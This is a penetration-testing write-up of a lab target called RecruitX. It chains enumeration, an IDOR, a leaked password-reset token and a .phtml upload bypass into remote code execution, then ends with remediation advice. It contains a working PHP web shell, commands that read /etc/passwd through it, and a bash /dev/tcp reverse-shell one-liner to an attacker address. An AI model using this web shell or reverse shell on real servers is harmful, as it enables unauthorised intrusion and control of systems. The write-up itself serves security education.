Skip to content

Web Pentest Notes: RecruitX

A structured walkthrough of the engagement, in the order the attack chain actually happened.

1. Reconnaissance

Port scanning

nmap -sV -sC -p- 10.113.170.93

Scans all 65535 ports (-p-), grabs service/version info (-sV), and runs default NSE scripts (-sC) to fingerprint what's running on the box.

HTTP response headers

curl -I http://10.113.170.93

Sends a HEAD request so only headers come back (status code, Content-Type, Server, caching info, redirects) a fast way to fingerprint the web server before touching anything else.

Directory enumeration

gobuster dir -u http://10.113.170.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

Gobuster brute-forces the wordlist against the target to discover hidden directories and files. -x php tells it to also try each word with a .php extension.


2. IDOR: Insecure Direct Object Reference

IDOR is one of the most common web app flaws: the app trusts a client-supplied ID without checking whether this user is allowed to see that resource.

Inspect -> storage -> cookies -> PHPSESSID=

curl -s -b "PHPSESSID=o6b2tven9t6f2137eqeo15k8bj" "http://10.113.170.93/profile.php?id=1" | grep "fw-semibold"

Output:

<div class="fw-semibold mt-1">Sarah Mitchell</div>
<div class="fw-semibold mt-1 mono">s.mitchell@recruitx.thm</div>
<div class="fw-semibold mt-1">March 24, 2026</div>

By changing id=1 and reusing a valid session cookie, any profile including the administrator's could be pulled without an authorization check. This is how the admin's name and email were discovered.


3. Weak Password Reset

Tested the reset flow at http://10.113.170.93/reset.php using a throwaway account (testuser@fake.thm) to observe its behavior first.

Token samples observed:

Attempt Token
1 583049
2 793939
3 456340

The tokens are six digits (1,000,000 possible values) and critically were exposed directly in the HTTP response rather than sent only via email. That combination let the token for the administrator's account be generated and read directly, enabling a password takeover.


4. Admin Panel Access

With admin credentials in hand, http://10.113.170.93/admin and /admin/upload.php became reachable.

Investigating the upload function

Inspect HTLM source code.

Inspecting the upload form showed: - Client-side accept attribute restricting file types (PDF, DOCX, images) enforced only by the browser - Upload destination: /uploads/documents/

Testing upload restrictions

File tested Result
test.txt (after removing the accept attribute in dev tools) Rejected proves the restriction is also client-side only
test.php containing <?php echo "PHP is executing"; ?> Rejected server checks the extension
test.phtml (same PHP payload) Accepted

Apache often executes .phtml as PHP, and the server's blocklist only checked for .php —not alternative PHP executable extensions. Visiting http://10.113.170.93/uploads/documents/test.phtml confirmed execution.


5. Remote Code Execution

Web shell

shell.phtml:

<?php
if(isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

Uploaded via the admin panel, then triggered:

curl "http://10.113.170.93/uploads/documents/shell.phtml?cmd=whoami"

<pre>www-data</pre>

curl "http://10.113.170.93/uploads/documents/shell.phtml?cmd=id"

<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>

System info gathered:

  • Hostname: recruitx-prod
  • uname -a: Linux ... 6.8.0-1017-aws #18-Ubuntu SMP ... x86_64 GNU/Linux

Reading sensitive files

curl "http://10.113.170.93/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" | grep -v "nologin"

Confirmed user accounts on the box (root, ubuntu, mysql, etc.).


6. Reverse Shell

A web shell is slow one HTTP request per command, no interactivity, awkward with special characters. Upgraded to a real shell.

Listener:

nc -lvnp 4444

Trigger (payload URL-encoded to survive the query string):

curl "http://10.113.170.93/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.113.96.52/4444+0>%261'"

Result: interactive session as www-data@recruitx-prod.


7. Attack Chain Summary

  1. Enumeration — mapped stack (Apache/PHP/MySQL), directories, an API endpoint, reset page, uploads dir, admin panel.
  2. IDOR/profile.php?id= and /api/user?id= leaked the admin's identity.
  3. Weak password reset — token exposed in-response → admin account takeover.
  4. Admin panel access — reached the upload function using the stolen account.
  5. RCE.phtml bypassed the extension blocklist → web shell → reverse shell.

8. Remediation

Vulnerability Severity Remediation
IDOR on user profiles/API High Server-side authorization checks on every request; verify the authenticated user owns the requested resource.
Password reset token in response Critical Send tokens via email only; show a generic confirmation on-page; use ≥32-char cryptographically random tokens.
Incomplete extension blocklist Critical Use an allowlist, not a blocklist; validate MIME/content, not just extension; store uploads outside the web root.
API endpoint disclosure Medium Remove or restrict the API index to authenticated admins; don't expose internal route structure.

Key lessons: enumeration drives everything; small, well-known flaws (IDOR, weak resets, upload bypasses) chain into full compromise; client-side restrictions are not security; report severity and remediation clearly, not just proof of exploitation.


Appendix: curl Flags Used (and a few common extras)

Flag Meaning Where it showed up here
-I HEAD request headers only, no body Initial recon (curl -I http://...)
-s Silent mode suppresses the progress meter and error messages, gives clean output for piping Every automated request, e.g. curl -s -b ... | grep ...
-b "name=value" Send a cookie with the request (--cookie) Reusing PHPSESSID to hit profile.php as an authenticated user
(bare URL) Default is a GET request Triggering the web shell / reverse shell via ?cmd=

A note on -a: lowercase -a in curl is --append — it's for upload operations (FTP/SFTP) and tells the server to append to the remote file instead of overwriting it. It's unrelated to -s (silent) or -A (uppercase, sets the User-Agent header) easy flags to mix up since they look similar. None of them were needed in this engagement since everything here was plain GET requests with a cookie header.

A few other flags worth knowing for this kind of work, not used above but common in pentest curl one-liners:

  • -X POST: force a specific HTTP method
  • -d "key=value": send POST body data (form-encoded)
  • -H "Header: value": add/override a request header
  • -A "user-agent-string": spoof the User-Agent
  • -o file / -O: save the response to a file (-O uses the remote filename)
  • -v: verbose mode, shows the full request/response including headers (useful when -I's HEAD request behaves differently from a real GET)
  • -L: follow redirects automatically